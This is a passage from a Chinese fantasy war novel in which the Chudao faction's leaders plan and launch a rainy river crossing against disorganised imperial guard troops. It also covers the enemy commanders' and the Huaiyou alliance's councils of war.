“有。”李定脱口而对,声音宏亮,俨然早有想法。“现在不要管禁军为什么会这样,因为不管如何,他们都是刚刚从东西改成南北,这个时候,他们的兵马是混杂分散在淝水、涡水之间的,大约是一个南北一百里,东西五十里的规制,相互之间并没有什么紧密队形……至于高手,牛督公来了这边,鱼皆罗在后面不可能扔下兵马支援,他们最多最多只有一个吐万长论的强点……那么现在,兵力占优、后勤占优、军心士气占优、高端战力也占优的我们只要做一件事就行了,必然大胜。” 张行没有追问,李定已经迫不及待说出来了:“请雄天王督军,然后全军以营为单位,不要集中渡河,不要计较前后各军之间的呼应,不要尝试在对岸摆大阵势,不要理会涡水这边的张虔达,四十个营分散开来,先二十个营,单独行进,后十五个营,每三营一处,最后五营一起,分批次在三十里宽的战线上过涡水,然后再度张开,往淝水方向一百里的战线上铺开!遇到敌人就作战,赢了就进,败了就退!如此,禁军必然全军崩溃,我军必然全胜!” “胜的道理我懂了。”张行听完,不待有些人激动表达,抢先来对。“可有什么风险吗?给大家说清楚。” “有,两个风险。”李定平静以对。“一个大风险,若是司马正引超过三万人的兵马在后日之前全面越过淝水,则我军此战唯一可行路径是立即撤退回涡水这边来……对应的应对是确保浮桥安稳,并在前线交战后寻机压制张虔离开涡水东岸;一个小风险在于,禁军现在的状况是不能持久作战,不能大规模作战,却不代表不能作战,尤其是第一批渡河的二十个营里,有可能会有人撞到对方优势兵力、精锐兵力或者正发疯的将领,以至于损兵折将。” 众人纷纷颔首,雄伯南想了一想,不由来问:“大风险是全局上的,我们一早就有准备,小风险呢,怎么应对?” “小风险没有应对,**就**,伤了就伤了,不会影响全局大获全胜。”李定干脆回复。 雄伯南面色一变,却终不能言,反而看向了张行。 张行点点头,严肃来问:“诸位,可还有更好的军事方略?” 无人回复,徐世英一开始就点头了,单通海不在,柴孝和不通军略。 张行见状不再犹豫,而是站起身来:“诸位,我刚刚有句话没说完,现在来告与大家也不迟,现在禁军自家回头,且已攻入我们治下,烧杀抢掠,我们又已经上前,一则箭在弦上不得不发,再做避让犹豫,只会使军心萎靡;二则也要做个结果,与谯郡百姓一个交代,还要防着他们得寸进尺,继续往北走,继续祸害我们治下百姓……所以,这一战不要再犹豫了,我来下令,禁军不来,我们渡河去就他!全军用完早饭就做启动,按照李定的安排,今日便要渡河作战!” 此时雨水已经密集,但众人浑不在意,反而轰然应声,就在雨中呼喊,不少人早就想作战,经历了一番折腾,不敢挑起话题,而现在大局已定,不由振奋,也有不少人其实不愿意作战,但此时军令已下,也都大声呼喊应答,决心一战。 当然,也有如牛督公这般看着捻须含笑的张世昭、拍案而起的王焯,不由心下茫然的。 别处不提,半个时辰后,作为抽签抽到第一批渡河营头之人,几乎在这场混乱对峙加中全程沉默的韩二郎回到营中,让自己的副将张五郎汇集兵马,然后便登上小营内的木台,以作阵前演说,而韩二郎的阵前演说,素来不同他人。 “诸位兄弟,咱们马上要出发作战。” 韩二郎背着手,表情严肃,虽是雨中,他却能看清下面形色不一、却多振奋的面孔,然后只是认真叮嘱。 “但在这之前,你们须按照我平时教你们的,做好检查……一定要穿好靴子,渡河的时候也不要扔下,脚下的六合靴是你们的最大依仗;蓑衣也是,交战之前,行军的时候一定要穿好,不许擅自脱下,行军累一点,战阵中却能攒不少力气;水粮也不能抛弃,不要喝生水!雨天活水都脏! “至于渡河之后……” 话到这里,韩二郎忽然有些口干,因为他知道很多行军的经验,便是第一次见识江淮的梅雨也能迅速总结经验,但他真不知道渡河后要如何进攻,因为他从没有带队进攻过。 但很快,面对着数不清的期盼的而又紧张的目光,韩二郎还是给出了自己的经验:“渡河之后,你们跟在我后面就行!我韩二所往之处,怎么能让你们落在我前面?!” 五月十五日,下午时分,莽金刚、韩二郎、刘黑榥、贾务根、王雄诞各率本营分别从五处地方(两处浮桥,三处渡口)同时启动,越过涡水。 随即,王雄诞营渡河中便被发觉,然后立即与当面的元礼正一部发生交战。 第二十六章风雨行(26) 雨水果然如当地农人所言变得更急了。 涡河东岸一处乡野渡口的临河窝棚下,张行、李定、徐世英、柴孝和围着一个借来的大方桌而坐,身后还摆了两个桌子,虞常南带着一帮文书围坐了,秦宝、白有宾带着一群准备将连桌子都没有,只全副甲胄坐在后面几排十几条条凳上,然后各方各面的信使便将数不清的复杂情讯带到此处窝棚下。 至于绝大部分头领,则无一例外,全都被发动了出去。 “芒大头领来讯,他渡河后不过三里,便攻下了当面一个寨子,里面有禁军两队三百人,已一战而胜……”一名披着蓑衣挂着铃铛的信使从专门预留的船只渡河过来,拱手汇报了第一个军情,说着便去摸腰中文书。 “这类军情报我们干吗?不是有规制吗?五百人以下交战,没有预料之外、重大变动情况的军情讯息直接去找虞舍人归档,然后我们会看!”李定眼瞅着对方将用牛皮封着的文书送上,非但不接,反而严肃起来。“都挤过来,耽误了正经军情怎么办?” 那信使吓了一跳,明显不知所措起来。 “是虞文书。”徐世英坐在一旁,低着头来看地图,顺口一提,状若提醒。 李定愣了一下,回头来看。 这个功夫,那信使反应过来,赶紧解释:“芒大头领的意思是,那个寨子规制较大,防御性比较好,是不是可以运一些军资过去,作为继续攻击的大营?” “有道理……”柴孝和恍然,立即表达了赞同,同时示意对方将文书交给他。 “不可以!浮桥、渡口数量是有限的,船只数量也是有限的,现在必须以转运军士为主,其余种种最少要等到渡过去二十个营以上再做考量。”李定从徐世英身上收回目光,顺便瞥了眼一声不吭在写什么的张行,给出自己的答复。 “原来如此。”柴孝和也随之转变了态度。 “今日肯定是渡不完的,夜间要继续渡河吗?还是趁机用船只送一些许物资过去呢?”倒是徐世英抬起头来问。 “夜间船只也要尽量渡人,这个时候一点兵力过去都是好的,比之物资,同样能救了前面人的命,倒是浮桥,夜间经过确实危险,也就算了。”张行终于开口。 “那就速速回他吧……”柴孝和回头将手中牛皮袋直接递给了后面桌子。 信使立即就往棚子后面去了。 人刚走,又一人过来,却只是拱手:“张头领有讯……” “哪个张头领?”李定紧蹙眉头。“文书何在?” “张世昭头领,没有文书。”信使赶紧低头来答。“只是口信。” “张头领送什么口信?”张行这个时候倒是主动了一点。 “他说跟着大魏前太后、皇帝一起来的还有一群官员,以跟过去的六部文官为主,他跟这些人聊过以后得了当面禁军最新的一些人事情报,跟之前的情报对照后发觉多了薛万论跟牛方盛,应该是禁军在徐州处置了赵光后缺人领兵顶上去的。”信使忙不迭言语。“还有,他说冯无佚大约明日到。” “知道了。”李定面色稍微缓和。 “薛万论……是薛常雄的长子?”徐大郎若有所思。“牛方盛……是那个南衙牛相公的儿子?” “是。”棚子最后面,白有宾立即起身大声回应。“其实不好说这两人是顶的谁……徐州之后,加上在下,最少少了三个领兵将领,加上赵行密部,就是四个,谁也不知道是谁顶上去了……首席、两位龙头、徐帅,请许在下即刻渡河,去寻一寻在下与家父的旧部,必能起到奇效。” “让你在此便是这个意思。”徐世英扬声来答。“只不过,若让你第一波便渡河,必然如无头苍蝇一般,撞到哪儿是哪儿,而若是等一等前线情报,今晚或明日再出发,找到你旧部的情形就多许多……” “原来如此。”白有宾立即应声,坐下以后却还是显得有些跃跃欲试。 李定看了白有宾一眼,没有吭声,他原本想说晚一点出发,找到旧部可能性大点是没错,但依然是无头苍蝇,大概率是撞不到,这种规模作战也不可能是因为他的旧部就如何如何……但是,这个声明没必要,甚至恰恰相反,正需要此人不计回报的去做这种事情。 换句话说,正该有徐世英这种人说出这种看起来可靠其实虚无缥缈的阵前话语出来。 想到这里,李定又去瞥了眼对面正在写信的张行,按照对方以前的习性,不管是道出真相以诚待人还是像这样鼓励对方,反正他都一定会主动来做这种事的,现在这般从容,却是有了徐大郎和自己为他做事的缘故。 不管如何,人从众果然才是做大事的出路。 “牛方盛倒也罢了,薛万论那里要不要让前头人注意一下,留他一条命,毕竟转身就有大用?”正想着呢,柴孝和已经继续开口。 “没必要,现在是打仗,打仗千万不能束手束脚。”李定脱口而对。 “可以告知天王,让他留意,若有机会和条件就活捉,其余头领就不用通知了。”写信的张行插了句嘴。 “天王在哪里?”柴孝和继续来问。 “天王在对岸,往西北方向去了,还是要查看禁军可能的援军情况……”徐世英立即告知。 “西北是司马正……司马正果真会来吗?吐万长论呢?我怎么觉得连吐万长论都不会来?吐万长论按道理是三日距离,可若是他明日得知了战况,真会来吗?他不怕天王?不怕‘伏龙印’?”柴孝和连番来问。 “来不来都要防备……吐万长论来的概率大些,司马正小些……但都要防备,尤其是司马正,他若真的已经来了,必然是**烦,甚至是我们优势兵力下唯一要防备的要害,算是不得不防。”张行看出了柴孝和的紧张,主动来做解释。 “吐万长论不说,鱼皆罗呢?鱼皆罗在后面,肯定会拼了命的来救吧?淮右盟那群人又靠不住!要不要分兵阻击?”柴孝和继续来问。 这个时候,几乎所有人都已经看出来了,柴龙头明显是第一次参与指挥这种大战,而且是兼有第一次参与军事和第一次履行龙头的身份,确实紧张。 “不用管他,因为咱们是自东向西攻击,鱼皆罗跟上来,我们也在往前走,大不了把涡水东岸全扔给他。”李定也解释了一下。 “不错……雨水是最好的阻击,派人去不是不行,但是投入兵力少了不行,多了又不值得。”张行继续来言。 “还是交给淮右盟吧!”徐大郎也随口来劝。 “淮右盟会听话吗?”柴孝和稍微放松下来,但还是紧张。 “这次还不听话,就回头往徐州去,一次解决杜破阵!”李定冷冷下了言语。 “说的也是。” “不好整。”徐大郎忽然幽幽开口。“关键是,谁都知道这淮右盟的人名义上属了咱们,实际上全须全尾都是他自家的,不然为什么会前有辅伯石现有李子达?下面都说,这是淮右盟给咱们交的兵税,剩下的若是再要管,就要有兼并的名头了。” “兼并又如何?”李定反驳道。 “话不是这么说,既受了命,便该是统一指挥的,但眼下战事为先,其余都可以暂时不提。”张行中止了可能会外扩的争端。 “我其实就是因为战事才提及此事。”徐世英正色道。“首席,不只是淮右盟不清不楚的,此战之后,对外自然是扫荡河北,对内却要整治起来了……” 李定微微眯眼。 “说的不错。”就在这时,柴孝和明显是误会了徐大郎的意思。“咱们黜龙帮这五六十个营的头领里面,不是人人都是打仗好手的,许多人就是因缘际会……譬如我,我如何懂打仗?这次之后,地盘再扩大几个郡,立两个新行台,便该收一收一些头领的兵权了,让能打仗的人去打仗,不能打仗的去做个郡守、分管、总管,就挺好。” “话虽如此,行台总指挥总要有一营兵的。”李定看向柴孝和,虽然还是有些硬邦邦,但了解他的张行知道,这厮是在努力让自己语气显得和善。“就好像一卫将军也好,一个郎将也好,行军打仗时总要有三队四百五十人的兵马随时跟在身边,再加上直属的精锐卫队,才能有效指挥、灵活应对。” “原来如此……这又是什么?”柴孝和眼见着徐世英接下了一个信使。 “徐大头领来信,他提议前十营渡河后单营行动,后十营不妨改为两两行动,这样也好衔接。”徐世英打开牛皮袋,拿出纸来瞅了一眼,便交给了身后。 他所说的徐大头领,只能是徐师仁了。 “有道理吗?”这一次柴孝和谨慎了许多。 “不行!” “不是这样的……” 李定与徐世英几乎同时开口,然后二人对视,到底是徐世英做了解答:“李龙头之前安排是对的,因为单营行动会让禁军摸不清我们的兵马数量,还以为是之前摆在一线的十五六个营,依旧陷入麻痹……而如果过早集中兵力,他们容易察觉到异样,直接逃了,反而麻烦。” “原来如此。” “这样回给徐大头领,麻烦他跟大营里其余准备出击的头领做好解释。”徐世英一边说一边回头交待文书。 “这又是什么?”而这个时候,又一份讯息抵达。 “王大头领请战,希望带知世军渡河参战。” “可以,让他在稽山休整一夜,明天跟着单大郎一起出发。” “单大郎在何处?” “他跟伍惊风去找伍常在那个营了,伍常在之前打的就特别靠南……现在跟鱼皆罗部已经接战了。” “要不要派人去找一下、提醒一下,让单大郎跟伍大郎明早之前回来,不要耽误大事?” “他们俩要是连这个都耽误了,那也是活该王五郎出头了……要是单大郎赶不及,就让王五郎留在最后压阵。” “什么事?” 说话间,又一个牛皮袋子从加急的雨幕中撞了出来。 “韩二郎部刚刚到对岸站点汇报,雨中混乱,他营在当面路上撞到了一支禁军,数量最少两千,很可能有三千,应该是由一位郎将(鹰扬郎将)带领的整府(鹰扬府)敌军。”信使气喘吁吁,递上了牛皮袋。“双方激战。” 满员全编制状态下,禁军一卫下辖左右两翼各三位鹰扬郎将,每将以府兵制组织结构鹰扬府为单位带领两千到五千不定的人员……当然,一般而言是三千人,对应的正是黜龙军一营的设置。 这意味着战场上发生了成建制对抗,战局进入了新的阶段。 “知道了。”李定平静了下来。 “开始了。”柴孝和似乎也平静了下来。 “我们几个,挪到对岸去吧!”就在这时,张行收起刚刚写好的信,霍然起身。 众人都不反对,黜龙军指挥中枢随即渡河。 船只不大,涡河上的船也不大可能有多大,船只数量也很紧张,这里到底不是涣水,哪怕是黜龙帮按照可能的计划提前控制了不少船只,此时依然显得捉襟见肘。 柴孝和修为低,第一个乘船先渡,而刚刚渡河,他便收到了一个巨大的坏消息,一时心中沉下,然后强作镇定,立即向河东送去。 而信使尚在河中,张行便与李定一起出发了,李定乘船,张行直接冒雨腾跃过了河面,而也就是冒雨腾跃过河面的时候,这位首席忽然意识到,此战的要害在哪里了。 “李四!” 落在西岸,头顶雨水急促,散了护体真气的张三立在河堤上,任由雨水落在身上,却是扫视了河面上正在分批赶来的那些准备将们,看过了对岸尚未登船的人群,最后落在了刚刚坐船过来正要登岸的李定身上。“你想到了吗?” “正当其时。”李定几乎是瞬间晓得了对方的意思,甚至可能是在乘船时便已经有了想法,所以,一脚还在船上时便大声作对。“正当其时!” “首席和龙头要做什么?”第一个渡河过来的柴孝和披着蓑衣在河堤高处放声来问。“接到信了吗?” “要在这里结阵!”李定上了岸,宣告了胜机所在。“就在这里结阵!把河冻住!这样明早之前,除了伍常在那个营,咱们就能都能过去!” “什么信?”张行则回头来问。 “能冻住吗?”柴孝和愣了一下,看着雨季后期湍急的流水,不由发慌,也不知道该跟谁先说。“是刚刚收到的军情……贾务根营在距离此处二十里的西南面**一个市集时,雨中视野不清,忽然遭遇数倍之敌的支援与反包围……要不要更改计划,让修为高些的莽大头领直接去支援?” “不用管这个!”李定大声回复。“让莽金刚那些人继续往西进,进到淝水为止,让后面新渡河的营去做支援!” “来得及吗?” “他便是全军覆没也不耽误此战之胜负,哪有来得及来不及的说法?”李定已经登上了河堤,来到了面对涡河的张行身后,距离柴孝和只有几步之遥,声音依旧大的吓人。“再说了,若是此间能冻住,援军源源不断,何须来不及?至于能不能冻住,不试一试怎么知道?” “但是……”柴孝和仓促走到对方跟前,说出了关键。“真气这个东西我虽然不懂太多,却也晓得每人都是定量的,用了就要休整恢复……而且,便是首席真气深厚,其余人也只是寻常修为……若是此时用了,明日后日决战,要结阵又如何?” “此事若成了,四十个营一夜插入对方腹部,哪里还有决战?”李定不慌不忙,却又坚定异常。“渡河便是决战!” “那就做吧!”张行看着已经平静登岸的徐世英,扭头下了命令。“我来作阵底,徐大郎持剑引动真气!所有准备将都围过来!柴龙头去速速搜集一批木板、稻草来!咱们就在这里决战!” 柴孝和根本不知道自己是怎么应的声,他扭头便往河堤上跑去,根本不顾头顶雨水与脚下泥泞,只觉得自己几乎喘不过气来……来到涡河之后,在这一瞬间之前,有自知之明的他一直想努力跟上这几个人,想成为黜龙帮真正的顶梁柱之一,但这一刻总算明白,人跟人真的不一样,有的人就是闻乱则喜,有的人就是铁血铅肠,有的人就是千回百转,有的人就是心怀四海,有的人就是深不可测! 自己做好自己最擅长的后勤就好了,天下就交给这些人搅和吧! 雨更大了! 傍晚时分,东面莫名滚来一团雾,雨水、暮色、迷雾,便是凝丹高手也不能在这种情况下做出有效侦查,这使得战局基本上陷入到了一种只有纸张和口头转述来做判断的地步。 而禁军这里更糟糕,因为他们之前是在做战略性的转向。 跟李定说的一模一样,当多达六七万的军队,加上附从的工匠什么的,从一个近百里的东西向点状行军方略转向为南北的过程中,什么都是乱的,再加上这个雨水,一旦遭遇全面进攻,便是神仙也无法确定哪支部队什么时间在具体什么地方。 换言之,禁军的指挥体系是半瘫痪的,最起码到眼下是如此。 “这雾来的奇怪,但并不是很大,马上就要就雨冲散的,不必忧虑。”城父县城西十五里,一个连镇子都不挨的村寨内,司马进达一边说一边走进了一个灯火通明的农舍堂屋,但自己脸上却愁容不散。“只是吐万老将军那里稍微有点远,便是送了信区,怕是也要三日才能到。” 坐在主位上的司马化达根本不吭声,只是看向屋子一角,彼处,两名军士正用长矛从砖土墙缝里拨弄什么东西。 也就是司马进达修为高,一眼看到是几只墙缝里的大蟾蜍,也是无奈:“蟾蜍是瑞兽,《太玄经补注》里也说,以前是出过蟾蜍样式真龙的,大兄何必呢这是?” 司马化达终于挤出一点笑脸:“叫的我心烦。” “先是把人家家具物什全都扔出去,现在又要杀屋角的**,接下来是不是要把屋子拆了?” 司马进达本想继续吐槽,但是大敌当前,还是忍住了,乃是站在那里,冷冷看着军士用长矛穿了几个大蟾蜍,然后出去到旁边屋子里找火去烤,这才回头重复了之前的话:“雾气撑不了许久,马上就散。” 司马化达点点头,却迟疑不语,半晌才问:“老七,你觉得这一战到底是怎么回事?怎么黜龙帮的人突然就渡河来打我们呢?” “封舍人,令狐将军你们怎么看?”司马进达并不直接做答,反而看向了屋内其余两人。 “应该是想把我们吓走,不愿意让我们北上进他们的地盘,谯郡是他们的熟地是一回事,荥阳的更是他们现在的根本之地,洛口敖山仓更不可能愿意让出来的。”封常想了一想,给出答复。“而且应该是之前就有定论,只要我们北上进入他们旧领,就直接动手,所以我们一动就过来了,动作快的吓人。” “确实。”令狐行也有些赞同。“老早便听说黜龙帮有个坏毛病,凡大事要商议,大头领或者头领们举手才能定事,定了事之后怕是前头一时间没法改……但这股气势还是对的,趁我们刚刚转向,也有奇效……不过,若是被他们打懵了,疑神疑鬼转头走了,那才是中了他们计策。” “老七以为呢?”司马化达再度来问自家兄弟。 “应该是这样,也可能是怕我们追皇帝,反向出击,以作阻碍。”司马进达想了一想,竟也无法反驳。“但这些都是猜测,现在情报乱做一团,只知道下午开始沿河一线出现了黜龙帮几个营,打了大大小小好几仗,难分胜负……” “不是赢了吗?”司马化达诧异道。“不是说前面何稀那里赢了吗?” “那只是何稀在城父南边凑巧围住了一个营。”司马进达正色道。“若是不能一夜攻破,明日一早人家援军抵达,救出去也不好说,甚至胜负也不好说……莫忘了,他们足足十五六个营呢,还有宗师。” 司马丞相登时蹙眉:“宗师我们也有……总之,不管如何,黜龙军兵力不如我们,战力不如我们,又是渡河过来,大军渡涡河有多难别人不晓得我们不晓得吗?所以便是现在咱们因为转向和下雨被打了个措手不及,可胜算不还是在我们这里吗?况且前线并未吃亏……甚至占优!” 司马进达竟不能驳斥。 “大略上确实如此。”封常甚至主动来肯定。“只以之前的情报来推算,胜算到底在我们这里。” “话虽如此,可情报还是太少了。”司马进达蹙眉来看封常。“谁也不知道黜龙帮有没有我们认知之外的准备。” 司马化达还是不吭声,只是看封常。 封常无奈,只能对司马进达摊手:“右仆射,恕我直言,若黜龙帮真有大阴谋,咱们到现在没有发觉,也就活该了……而且真要补救,也该先去前线探查情报,然后再做定夺和应对。” “封舍人说的对。”司马进达点点头,干脆认了错。“是我过于忧虑了。” “既如此。”司马化达终于也主动开口。“老七,咱们不如兵分两路,我跟令狐将军他们继续去谯县,你跟后面的牛方盛明日一早一起带兵去支援何稀,然后等司马德克跟张虔达到了,就一起商量对敌之策,解决 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“司马氏的前途……”司马化达笑了一下。 “我是真怕禁军路上散了架。”司马进达认真道。“若不能平安把禁军送到东都,使之成为咱们司马氏争雄天下的根本,那我就罪莫大焉了……若按照一些人说法,**的人里面,真豪杰可以从红山入了黑帝爷的府邸常欢久乐,那我将来到了黑帝爷府上,有何面目见父亲呢?” 这话听到一半司马化达眼皮就跳了下,等对方说完赶紧摆手:“老七,你这人什么都好,就是心思太重,总把事情太当个事,咱们司马氏的底气在这里,什么撑不起来?不要说这种话了,放心去吧,咱们兄弟一定能把这事做好!” “也罢!”司马进达点点头,然后四下看了看。“我回去视察一下兵马,整备一下,明日一早转向东南何稀那里吃掉黜龙帮的那个孤军……兄长自去谯县吧。” 司马丞相忙不迭颔首。 就这样,司马进达刚刚进来没多久,便又离去,而不知道是不是巧合,司马进达刚走,屋子里居然又有蛙鸣响起,这一次,司马化达没有着急喊打喊杀,反而是沉默了好一阵子,方才在重新响起的蛙鸣声中幽幽吐了口气。 封常看了看一旁令狐行,犹豫了一下,小心上前开口:“丞相,恕在下直言,右仆射到底是您亲兄弟,是您臂膀一般的人物,不宜生分……这几日,您二位委实有些尴尬了。” 司马化达笑了笑,微微捏了下有些发涩的胡子:“这尴尬是我惹出来的吗?” “丞相。”封常再上前一步,就在灯前低声提醒。“右仆射真要跟你生分,只能是回到东都后,在您跟大将军之间徘徊,而没有见到大将军之前,你们自是一体。” “说的好。”司马化达收起笑意,按着身前御用的桌案叹了口气。“封舍人一语中的,我这个兄弟现在是我的臂膀,可到了东都就是我儿子的臂膀了!” 封常明显不安,只能去看唯一同僚令狐行,后者却只是微笑,这让面色如常的封常心中大怒——不就是仗着自家是晋地名门,可以在白氏和司马氏之间游刃有余吗?不就是欺负自己是个只能抱**腿的河北书生吗?! 此时都在一艘破船上,谁比谁从容?! 正想着呢,司马丞相又发令了:“把这个刚刚乱叫的**找出来,弄死!” 封常只能去外面喊人。 用完晚饭后一个时辰,徐州城内不知道转了多少手的总管府中,杜破阵正在听取众人意见,而众人议论纷纷的对象,自然是今日白天就收到的黜龙帮首席张行书信。 书信中,张行以黜龙帮首席的名义直接下令,要求淮右盟不顾一切缠住鱼皆罗,否则便要帮规处置。 话语说的很重,刚刚进入徐州才两天的杜破阵不得不慎重对待。 但是,吃完饭以后,就在饭桌上开始的会议一上来,淮右盟内部便争执不下,而且不是派系分明的那种争执,乃是几乎所有人的立场都有些混沌……譬如东海这边的本土势力大多是反对,这合情合理,但东海势力的领头人,早在淮右盟成立时便是副盟主的苗海浪却认为不应该三心二意,真的触怒黜龙帮; 类似的,淮西的老伙计们也发生了**,除了对于黜龙帮的态度外,另一个分歧在于,一部分人认为这个时候应该趁机打回淮西,说不定能重新拿回部分淮西的地盘,另一部分人则认为这个时候应该站稳徐州为上,其余不管; 就连太保军里的军官们也发生了**,他们当然普遍性为黜龙帮这个派头而气不平,但依旧有人觉得不打仗是没法坐稳徐州的,之前不战而走委实羞耻,甚至太保军的首领阚棱还有一个别的想法,他认为应该南下,进攻江都! 这种争执不下的情况下,自然要看杜破阵的决断了。 “别耽误时间了,按照黜龙帮的意思,天一亮就得发兵,然后一直追到涡河边上汇集到了黜龙军主力才能算数。”苗海浪有些焦躁起来。 对面的阚棱本能想要驳斥,却被杜破阵抬手阻止:“天亮发兵是一定的。” 众人不由诧异,若是你杜盟主、杜龙头、杜老大早有决断,为何放任争执到现在? 杜破阵摊着粗粝的大手,缓缓来言:“说破大天去,咱们都是义军,都要打官军,之前是可以不打,现在都打起来,便没有躲着的道理……再说了,我们淮右盟跟黜龙帮再有说法,那也不可能是敌非友,甚至是亲眷也算的……更不要说,之前战败,是黜龙帮收留了咱们。所以,这件事的关键是,要不要全伙都动,顶着之前淮西大败的伤筋动骨,去为了黜龙帮拼命?” 众人都不吭声。 杜破阵看了看周遭,点了一人:“老马,你一直不说话,是有想法吗?” 马胜闻言一愣,赶紧起身做答:“不瞒盟主,我一开始是想回淮西的,我本就是涡口的人,但后来一想,自家又在彭城做过公人,留徐州也无妨,便犹豫了起来……后来大家说的多了,我听着都觉得有道理,就想着不如听盟主决断好了。” 杜破阵点了下头,目光扫到座中最后一个全程没有发言的人,却有些发怵,但却似乎又躲不过,便硬着头皮来问:“老辅,你怎么不说话?难道没想法吗?” 辅伯石面无表情看了杜破阵一眼,又扫视了长条桌上的许多人,终于开口:“我有想法,也知道你的想法,但不说话,是怕说话了,弄得你下不了台,坏了你堂堂盟主的威风!” 杜破阵愈发尴尬,只能苦笑:“淮西一败,现在还被人呼来喝去,哪还有什么威风?” “也是。”辅伯石也笑了。“你这个人我还不晓得吗?胜的时候是不许人说话的,败的时候倒是素来诚恳,还能让人说几句话。” 不止是杜破阵尴尬,阚棱在内,许多人都尴尬起来。 “其一,这个时候要么全力以赴,要么干脆别打,老早逃去淮南。”辅伯石言辞干脆。“因为黜龙帮越来越大,断不会再容忍你三心二意,而且你有没有三心二意不是你自己觉得的,是人家觉得的。” 不少人面色微变,杜破阵倒似乎是如释重负,准备说些什么。 却不料,辅伯石抢先一步继续下去:“其二,徐州留不住,这一仗之后,只要黜龙帮自家不坏了事,肯定要去徐州自用了!” 餐桌周围嗡的一下热闹了起来,不少年轻将领直接面红耳赤站起身来,嘴里也不干不净起来,俨然是对“黜龙帮要来抢地盘”感到愤怒。 但是,阚棱居然没有多大反应。 “都安生点!”杜破阵将自家粗壮手掌狠狠拍在案上,立即便震慑住了这些以他义子为主的少壮派。“老辅,你继续说。” “为什么黜龙帮一定要取徐州?为什么上次张首席过来没说?”辅伯石微微敛容,做了点解释。“说白了,之前知道禁军要走,但还没走,所以徐州是前线,但从禁军走了以后,从现在开始,徐州就不是前线了,黜龙帮自然要收取自用……” “确实。”杜破阵居然不气。“那我们去哪儿?你觉得张首席会让我们去哪儿?” “这就要看你了。”辅伯石眯着眼睛,看向了偷自家羊的生死兄弟。“老杜,你是不是还是不甘心?给我个话。” “是。”杜破阵倒没有什么隐瞒的意思。 “那就自请回淮西,或者自请去淮南。”辅伯石毫不意外的点点头。“你的意思我知道,可既想要求自主,求自强自大,那就只能去大势力的缝里去,才有机会……回淮西,替黜龙帮看住对面的王代积;去淮南,替黜龙帮挡住当面的什么梁公……看你心思了!不过,我还是希望你留在徐州,做个正经的黜龙帮龙头,没什么不好的。” 杜破阵似乎没有听到最后一句,他思索片刻,却又苦笑着得出结论:“去哪里,哪里是我们能定的?不还得去听我那张三兄弟的言语吗?” “若是黜龙帮愿意让我们回淮西,去淮南,给他拼一次命也无妨。”阚棱站起身来,努力来劝自家义父。 “好了。”杜破阵抬手制止了自家的大太保,做出了最后的宣告。“诸位兄弟,路是自己拼出来的……不拼命,人家凭什么给我们出路?大家早早回去,连夜整军,明日上午,咱们全伙出动,从我以下,徐州一个人不留,直接向西攻击,打回涡口去!” 下方轰然起身称命,辅伯石眯着眼睛,看了下对面迅速起身的马胜,也缓缓站起。 PS:感谢郭总的第四盟,感激不尽,提前祝大家新年发大财,全家幸福团圆。 第二十七章风雨行(27) 五月十五夜,是决定很多人命运的一个夜晚,但他们自己其实并未察觉,来到五月十六白日,依然还摸不清局势。 “黜龙贼的一个营,全轻骑,应该就是之前遇到过的刘黑榥那厮,昨夜攻击了这里往南二十里稍微偏西的一个村庄,那里是我们跟崔(弘昇)大将军的结合点,但刘黑榥击溃了那里的兵马以后,根本没有顺藤摸瓜连夜来摸我们或者崔大将军,只是稍作休整,据说天不亮就继续直直往西去了……” “有意思。” “何稀将军发文来,说昨夜三更时分,又有一营黜龙贼自他的东北面抵达他处,因为是夜间,又是这个雨水,便没敢交战,只是继续围住原本困住得那个营不动,援军也没有动弹,反而在东北面控制道路,铺设阵地,所以不晓得是谁。” “还有一个营,昨日跟张谨大将军下属的一个郎将打了起来,直接冲破了那个郎将的三千兵,却根本没有扩大杀伤,也是直接往西走了……张大将军的意思是,那人好像是之前骚扰过我们的一个姓韩的,只是不确定。” “昨日下午,应该有兵马攻击了沿河渡口、浮桥等据点,但既不知道是哪个营,也不知道后来的路线,甚至不晓得是几个据点,打了几场仗,消息太乱了。” “张虔达的兵马也不知道动没动,什么结果……鱼老将军那里更不晓得情形。” “吐万老将军那里送到讯息了吗?” “都快送去十个信使了……其实鱼老将军那里也试着送了几个过去。” “左仆射什么时候到?多少兵马?” “下午能到,他昨晚的说法是当时他身边的是九千人,元礼正也会一起过来。” “跟我们兵力一样,加一起就是一万八。” “加上何稀将军那里的四千人……不对,是六千人,那里还有还有两千人今日中午会汇合过去。” “这就是两万四千众。” “足够了,咱们一共是七万八千员额,前后各一万去掉,淝涡之间的主力就是五万八千,几乎快一半了,什么人对付不了?黜龙军十五个营一起来也能胜!何况他们自有好几个营明显往西去了。” “知道了,还有吗?” “……” “那好。” 伴随着清晨的稍微减弱的雨水,刚刚吃完带着馊味早粥的右仆射司马进达坐在一个农家院的草棚下,听完汇报后,对目前的情报做了总结。“现在的情况是: 其一,黜龙贼猝发,而且借着雨势和我们转向之际,打了我们一个措手不及,以至于我们连自家兵马位置都找不到,战况情报更是一团糟; 其二,渡河之贼军得到的任务应该是不顾一切,往西穿插,以打乱我们的部属,让我们不知道该作何应对; 其三,目前来看,贼军出现的兵马应该都还是之前袭扰压迫我们的兵马,并没有明显援兵,但即便是他们之前露出来的十五六个营,我们也不知道各处都在哪里; 其四,何稀将军无意间咬住了对方一个营; 其五,涡河东岸的张虔达将军和鱼老将军现在是整个没了音讯……是也不是?” “是。” 回答司马进达的是代理行军的牛方盛,而两人之外,棚子下面还有几位郎将,十几位队将,也多颔首。 “那好,我现在大胆猜一猜,这些贼人是有章法的,就是想通过快速的军事行动,弄乱我们的部属,打杀我们一部分兵马,让我们不敢渡河去涡水对岸,也不敢继续北上走荥阳,反正就是要我们掉头走淮西。”司马进达话到这里,明显有了一丝迟疑,但还是说了出来。“而他们想要打杀的兵马,应该就是张虔达跟鱼老将军这两部。” 众人多颔首认可,牛方盛则似乎意识到了司马进达的迟疑所在,不由抱怀叹了口气:“放出五六个营来作穿插,也是疑兵,让我们一时无法集中兵力,然后集中优势兵力先吃掉张(虔达)将军,再吃掉鱼老将军……所以此战之关键在于我们救不救?若不救,就真的被人家用十几个营**于股掌之间了;若救,必要丞相和左仆射一起决断,一起渡河督师,还要吐万老将军务必紧随,而且还要快!说实话,张虔达不指望了,鱼老将军还是能接应到的!” 意思很明显,这个时候司马化达就在北面,应该还没动身,是可以现在去喊的……毕竟有言在先嘛,如果要渡涡水去东岸作战,则丞相是要亲自统军的。 